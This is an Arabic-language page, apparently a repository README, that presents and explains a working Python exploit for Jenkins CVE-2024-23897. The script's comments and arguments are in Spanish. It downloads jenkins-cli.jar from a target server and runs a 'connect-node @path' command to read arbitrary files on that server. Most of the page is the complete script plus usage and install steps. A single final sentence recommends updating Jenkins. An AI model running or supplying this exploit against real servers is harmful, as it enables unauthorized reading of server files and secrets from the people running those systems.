
أداة استغلال تثغّر Jenkins مكتوبة بلغة Python

المعلمات ip , puerto , ruta

مخرجات الاستغلال

لوحة المساعدة
إليك شرح الكود بصيغة Markdown:
تم تصميم هذا السكربت لاستغلال ثغرة أمنية محددة في Jenkins (CVE-2024-23897). يتيح تنزيل ملف JAR من خادم Jenkins وتنفيذ حمولة (payload) لتوصيل عقدة Jenkins. فيما يلي شرح لكل جزء من الكود:
import argparse
import requests
import os
import subprocess
import sys
argparse: للتعامل مع وسائط سطر الأوامر.requests: لإجراء طلبات HTTP.os: للتفاعل مع نظام التشغيل.subprocess: لتنفيذ أوامر النظام.sys: للتفاعل مع مترجم بايثون.bannerdef banner():
"""
Imprime un banner decorativo para la herramienta.
"""
text = """
______ _______ ____ ___ ____ _ _ ____ _____ ___ ___ _____ _ _ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \|___ / ( _ )/ _ \___ | | | ___ _ __ | | _(_)_ __ ___
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / / _ | |/ _ \ '_ \| |/ / | '_ \/ __|
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ ___) | (_) \__, |/ / | |_| | __/ | | | <| | | | \__|
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_//_/ \___/ \___|_| |_|_|\_\_|_| |_|___/
"""
print(text)
تقوم هذه الدالة بطباعة شعار (banner) تزييني في بداية السكربت.
descargar_jardef descargar_jar(ip, puerto):
"""
Descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado.
Args:
ip (str): Dirección IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
Returns:
bool: True si la descarga fue exitosa, False en caso contrario.
"""
url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
try:
response = requests.get(url)
if response.status_code == 200:
with open('jenkins-cli.jar', 'wb') as archivo_jar:
archivo_jar.write(response.content)
return True
else:
print(f"\n[-] No se pudo descargar el archivo. Código de estado: {response.status_code}")
return False
except requests.RequestException as errorhttp:
print(f"\n[-] Error al realizar la solicitud: {errorhttp}")
return False
تقوم هذه الدالة بتنزيل الملف jenkins-cli.jar من خادم Jenkins المحدد عبر عنوان IP والمنفذ. إذا كان التنزيل ناجحًا، فتحفظ الملف في النظام وتُرجع True؛ وإلا، تُرجع False.
attack_payloaddef attack_payload(ip, puerto, ruta):
"""
Ejecuta el payload para conectar un nodo Jenkins.
Args:
ip (str): Dirección IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
ruta (str): Ruta para leer el archivo.
"""
archivo_jar = "jenkins-cli.jar"
payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
try:
subprocess.run(payload, shell=True, check=True)
os.remove(archivo_jar)
except subprocess.CalledProcessError as error_payload:
print(f"\n[-] Error al intentar conectar el nodo: {error_payload}\n")
تنفّذ هذه الدالة أمرًا لتوصيل عقدة Jenkins باستخدام الملف jenkins-cli.jar. بعد تنفيذ الأمر، تقوم بحذف ملف JAR. إذا حدث خطأ في التنفيذ، تعرض رسالة خطأ.
maindef main():
"""
Función principal que analiza los argumentos y ejecuta las funciones correspondientes.
"""
parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n")
parser.add_argument("ip", type=str, help="\n[+] Dirección IP del servidor Jenkins\n")
parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n")
parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n")
args = parser.parse_args()
ip = args.ip
puerto = args.puerto
ruta = args.ruta
banner()
if descargar_jar(ip, puerto):
attack_payload(ip, puerto, ruta)
else:
sys.exit(1)
الوظيفة الرئيسية للسكربت:
ip, puerto, ruta).banner لطباعة الشعار.descargar_jar لتنزيل ملف JAR.attack_payload لتنفيذ الـ payload؛ وإلا، تنهي السكربت برمز خروج 1.if __name__ == '__main__':
main()
يضمن هذا الكتلة أن يتم تنفيذ الدالة main فقط إذا تم تشغيل السكربت مباشرة، وليس إذا تم استيراده كوحدة.
هذا السكربت هو أداة لاستغلال ثغرة أمنية في Jenkins. يقوم بتنزيل ملف JAR من خادم Jenkins ويستخدم هذا الملف لتنفيذ حمولة (payload) تقوم بتوصيل عقدة Jenkins. يتم توفير الوسائط المطلوبة (ip, puerto, ruta) عبر سطر الأوامر.
إليك قائمة بالمكتبات المطلوبة مع أوامر pip install لكل منها:
argparse: هذه المكتبة مضمنة في المكتبة القياسية للغة بايثون، لذلك لا تحتاج إلى تثبيتها.
requests: لإجراء طلبات HTTP.
pip install requests
os: هذه المكتبة مضمنة في المكتبة القياسية للغة بايثون، لذلك لا تحتاج إلى تثبيتها.
subprocess: هذه المكتبة مضمنة في المكتبة القياسية للغة بايثون، لذلك لا تحتاج إلى تثبيتها.
sys: هذه المكتبة مضمنة في المكتبة القياسية للغة بايثون، لذلك لا تحتاج إلى تثبيتها.
pip install requests
@/ruta/del/archivo.@/ruta/del/archivo ويستبدل هذا الوسيط بمحتوى الملف المحدد.يعد تحديث Jenkins وتكوينه بشكل صحيح أمرًا بالغ الأهمية لحماية النظام من هذه الثغرة.
